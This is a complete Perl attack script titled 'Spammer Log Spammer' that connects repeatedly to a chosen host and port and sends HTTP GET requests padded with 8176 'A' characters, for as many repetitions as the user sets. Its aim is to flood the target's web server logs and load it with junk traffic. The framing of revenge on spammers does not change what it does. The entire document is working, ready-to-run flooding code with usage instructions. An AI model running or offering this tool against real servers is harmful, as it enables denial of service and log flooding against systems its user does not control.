#!/usr/bin/perl
#########################################################
# Spammer Log Spammer #
# Usage: perl spam.pl [ip|host] [port] [times repeated] #
# by metac0m #
#########################################################
use IO::Socket;
unless (@ARGV > 2) {
die "Usage: perl spam.pl \n"
}
$server = $ARGV[0];
$port = $ARGV[1];
$times = $ARGV[2];
#8176 is apache max (at least on my box)
$doc = "A" x 8176;
print "=====================================\n";
print " SPAMMER LOG SPAMMER \n";
print "=====================================\n";
print "Targetting $server on port $port \n";
print "Set to connect $times time(s) \n";
print "Press ctrl+c to cancel at any time...\n";
print "=====================================\n";
$start_time = localtime();
$x = 0;
while ($x <= $times) {
connect_to($server,$port,$doc);
print "Connected $x time(s)\r";
$x++;
}
$end_time = localtime();
print "\nDone.\n";
print "Start time: $start_time\n";
print "End time: $end_time\n";
exit();
#SOCKET SUB#######################################
sub connect_to {
my ($s, $p, $d) = @_;
$remote = IO::Socket::INET->new(
Proto => 'tcp',
PeerAddr => $s,
PeerPort => $p,
Timeout => 10,
);
unless($remote) {
die("\n\nCould not connect to $s:$p\n\n");
}
$remote->autoflush(1);
print $remote "GET $d HTTP/1.0\n\n";
#Uncomment below to print test result
#while ( <$remote> ) { print }
close $remote;
}
|